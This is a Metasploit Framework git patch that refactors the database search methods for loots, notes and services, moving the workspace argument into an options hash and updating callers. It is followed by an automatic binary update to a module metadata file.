metadata_obj From 4ecc1ff5511461bd76d9fc97e6fe4b8436b39886 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 21 May 2018 17:37:51 -0400 Subject: [PATCH 36/41] Modify loots, notes and services search methods Modify loots and services method signatures. Remove workspace as a positional argument, move into opts hash argument and update callers. Made host search for these models more uniform. Update find_or_create methods to handle difference in opts between find and report operations. --- .../data_service/proxy/host_data_proxy.rb | 2 +- .../data_service/proxy/loot_data_proxy.rb | 14 +++++++++++--- .../data_service/proxy/note_data_proxy.rb | 10 +++++++++- .../data_service/proxy/service_data_proxy.rb | 12 +++++++++--- lib/msf/core/db_manager/loot.rb | 15 +++++++++++++-- lib/msf/core/db_manager/note.rb | 7 +++++++ lib/msf/core/db_manager/service.rb | 9 +++++---- lib/msf/ui/console/command_dispatcher/db.rb | 19 ++++++++++--------- .../scanner/ssh/ssh_identify_pubkeys.rb | 2 +- 9 files changed, 66 insertions(+), 24 deletions(-) diff --git a/lib/metasploit/framework/data_service/proxy/host_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/host_data_proxy.rb index 92cc3f64a4..2f703f0561 100644 --- a/lib/metasploit/framework/data_service/proxy/host_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/host_data_proxy.rb @@ -1,6 +1,6 @@ module HostDataProxy - def hosts(opts={}) + def hosts(opts = {}) begin data_service = self.get_data_service opts[:non_dead] = false unless opts.has_key?(:non_dead) diff --git a/lib/metasploit/framework/data_service/proxy/loot_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/loot_data_proxy.rb index 1d2867f3f6..070783136e 100644 --- a/lib/metasploit/framework/data_service/proxy/loot_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/loot_data_proxy.rb @@ -15,7 +15,15 @@ module LootDataProxy def find_or_create_loot(opts) begin - loot = loots(opts.clone) + # create separate opts for find operation since the report operation uses slightly different keys + # TODO: standardize option keys used for the find and report operations + find_opts = opts.clone + # convert type to ltype + find_opts[:ltype] = find_opts.delete(:type) if find_opts.key?(:type) + # convert host to nested hosts address + find_opts[:hosts] = {address: find_opts.delete(:host)} if find_opts.key?(:host) + + loot = loots(find_opts) if loot.nil? || loot.first.nil? loot = report_loot(opts.clone) else @@ -27,10 +35,10 @@ module LootDataProxy end end - def loots(wspace, opts = {}) + def loots(opts = {}) begin data_service = self.get_data_service - add_opts_workspace(opts, wspace) + add_opts_workspace(opts) data_service.loot(opts) rescue => e self.log_error(e, "Problem retrieving loot") diff --git a/lib/metasploit/framework/data_service/proxy/note_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/note_data_proxy.rb index aec8012b1d..5c02090bb7 100644 --- a/lib/metasploit/framework/data_service/proxy/note_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/note_data_proxy.rb @@ -12,7 +12,15 @@ module NoteDataProxy def find_or_create_note(opts) begin - note = notes(opts.clone) + # create separate opts for find operation since the report operation uses slightly different keys + # TODO: standardize option keys used for the find and report operations + find_opts = opts.clone + # convert type to ntype + find_opts[:ntype] = find_opts.delete(:type) if find_opts.key?(:type) + # convert host to nested hosts address + find_opts[:hosts] = {address: find_opts.delete(:host)} if find_opts.key?(:host) + + note = notes(find_opts) if note.nil? || note.first.nil? note = report_note(opts.clone) else diff --git a/lib/metasploit/framework/data_service/proxy/service_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/service_data_proxy.rb index 1cc47f41d9..3fe2950353 100644 --- a/lib/metasploit/framework/data_service/proxy/service_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/service_data_proxy.rb @@ -1,9 +1,9 @@ module ServiceDataProxy - def services(wspace = workspace.name, opts = {}) + def services(opts = {}) begin data_service = self.get_data_service - add_opts_workspace(opts, wspace) + add_opts_workspace(opts) data_service.services(opts) rescue => e self.log_error(e, 'Problem retrieving services') @@ -12,7 +12,13 @@ module ServiceDataProxy def find_or_create_service(opts) begin - service = services(opts.clone) + # create separate opts for find operation since the report operation uses slightly different keys + # TODO: standardize option keys used for the find and report operations + find_opts = opts.clone + # convert host to nested hosts address + find_opts[:hosts] = {address: find_opts.delete(:host)} if find_opts.key?(:host) + + service = services(find_opts) if service.nil? || service.first.nil? service = report_service(opts.clone) else diff --git a/lib/msf/core/db_manager/loot.rb b/lib/msf/core/db_manager/loot.rb index 1d154533ad..5af116ad20 100644 --- a/lib/msf/core/db_manager/loot.rb +++ b/lib/msf/core/db_manager/loot.rb @@ -10,6 +10,10 @@ module Msf::DBManager::Loot # This methods returns a list of all loot in the database # def loots(opts) + data = opts.delete(:data) + # Remove path from search conditions as this won't accommodate remote data + # service usage where the client and server storage locations differ. + opts.delete(:path) search_term = opts.delete(:search_term) ::ActiveRecord::Base.connection_pool.with_connection { @@ -18,10 +22,17 @@ module Msf::DBManager::Loot if search_term && !search_term.empty? column_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Mdm::Loot, search_term) - Mdm::Loot.includes(:host).where(opts).where(column_search_conditions) + results = Mdm::Loot.includes(:host).where(opts).where(column_search_conditions) else - Mdm::Loot.includes(:host).where(opts) + results = Mdm::Loot.includes(:host).where(opts) end + + # Compare the deserialized data from the DB to the search data since the column is serialized. + unless data.nil? + results = results.select { |loot| loot.data == data } + end + + results } end alias_method :loot, :loots diff --git a/lib/msf/core/db_manager/note.rb b/lib/msf/core/db_manager/note.rb index 0b095f5ba1..0c85e243e9 100644 --- a/lib/msf/core/db_manager/note.rb +++ b/lib/msf/core/db_manager/note.rb @@ -25,8 +25,15 @@ module Msf::DBManager::Note ::ActiveRecord::Base.connection_pool.with_connection { wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework) + data = opts.delete(:data) search_term = opts.delete(:search_term) results = wspace.notes.includes(:host).where(opts) + + # Compare the deserialized data from the DB to the search data since the column is serialized. + unless data.nil? + results = results.select { |note| note.data == data } + end + if search_term && !search_term.empty? re_search_term = /#{search_term}/mi results = results.select { |note| diff --git a/lib/msf/core/db_manager/service.rb b/lib/msf/core/db_manager/service.rb index e67a11bc0a..2abe07fee5 100644 --- a/lib/msf/core/db_manager/service.rb +++ b/lib/msf/core/db_manager/service.rb @@ -144,15 +144,16 @@ module Msf::DBManager::Service wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework) search_term = opts.delete(:search_term) - opts["hosts.address"] = opts.delete(:addresses) - opts.compact! + + order_args = [:port] + order_args.unshift(Mdm::Host.arel_table[:address]) if opts.key?(:hosts) ::ActiveRecord::Base.connection_pool.with_connection { if search_term && !search_term.empty? column_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Mdm::Service, search_term) - wspace.services.includes(:host).where(opts).where(column_search_conditions).order("hosts.address, port") + wspace.services.includes(:host).where(opts).where(column_search_conditions).order(*order_args) else - wspace.services.includes(:host).where(opts).order("hosts.address, port") + wspace.services.includes(:host).where(opts).order(*order_args) end } end diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 0cd8118fc6..47bea5ec63 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -252,11 +252,11 @@ class Db current_workspace.name == ws.name ? '*' : '', ws.name, framework.db.hosts(workspace: ws.name).count, - framework.db.services(ws.name).count, - framework.db.vulns({workspace: ws.name}).count, - framework.db.creds({workspace: ws.name}).count, - framework.db.loots(ws.name).count, - framework.db.notes({workspace: ws.name}).count + framework.db.services(workspace: ws.name).count, + framework.db.vulns(workspace: ws.name).count, + framework.db.creds(workspace: ws.name).count, + framework.db.loots(workspace: ws.name).count, + framework.db.notes(workspace: ws.name).count ] end @@ -776,9 +776,10 @@ class Db each_host_range_chunk(host_ranges) do |host_search| break if !host_search.nil? && host_search.empty? - opts[:addresses] = host_search + opts[:workspace] = framework.db.workspace + opts[:hosts] = {address: host_search} if !host_search.nil? opts[:port] = ports if ports - framework.db.services(framework.db.workspace, opts).each do |service| + framework.db.services(opts).each do |service| host = service.host matched_service_ids << service.id @@ -1311,12 +1312,12 @@ class Db matched_loot_ids = [] loots = [] if host_ranges.compact.empty? - loots = loots + framework.db.loots(framework.db.workspace, {:search_term => search_term}) + loots = loots + framework.db.loots(workspace: framework.db.workspace, search_term: search_term) else each_host_range_chunk(host_ranges) do |host_search| break if !host_search.nil? && host_search.empty? - loots = loots + framework.db.loots(framework.db.workspace, { :hosts => { :address => host_search }, :search_term => search_term }) + loots = loots + framework.db.loots(workspace: framework.db.workspace, hosts: { address: host_search }, search_term: search_term) end end diff --git a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb index 2655f99ce9..cfce1a497d 100644 --- a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb +++ b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb @@ -321,7 +321,7 @@ class MetasploitModule < Msf::Auxiliary end def existing_loot(ltype, key_id) - framework.db.loots(myworkspace).where(ltype: ltype).select {|l| l.info == key_id}.first + framework.db.loots(workspace: myworkspace).where(ltype: ltype).select {|l| l.info == key_id}.first end def store_public_keyfile(ip,user,key_id,key_data) From b73947c032517d2f6df2fc08682f0083c49cd4fa Mon Sep 17 00:00:00 2001 From: Metasploit Date: Mon, 21 May 2018 16:08:05 -0700 Subject: [PATCH 37/41] automatic module_metadata_base.pstore update --- db/modules_metadata_base.pstore | Bin 2945836 -> 3060140 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/db/modules_metadata_base.pstore b/db/modules_metadata_base.pstore index 6289455ae2520886447dbca3c683dfcc019b0c90..daf673375e648cbfd3c2c73c052b3851d73497c1 100644 GIT binary patch delta 163877 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 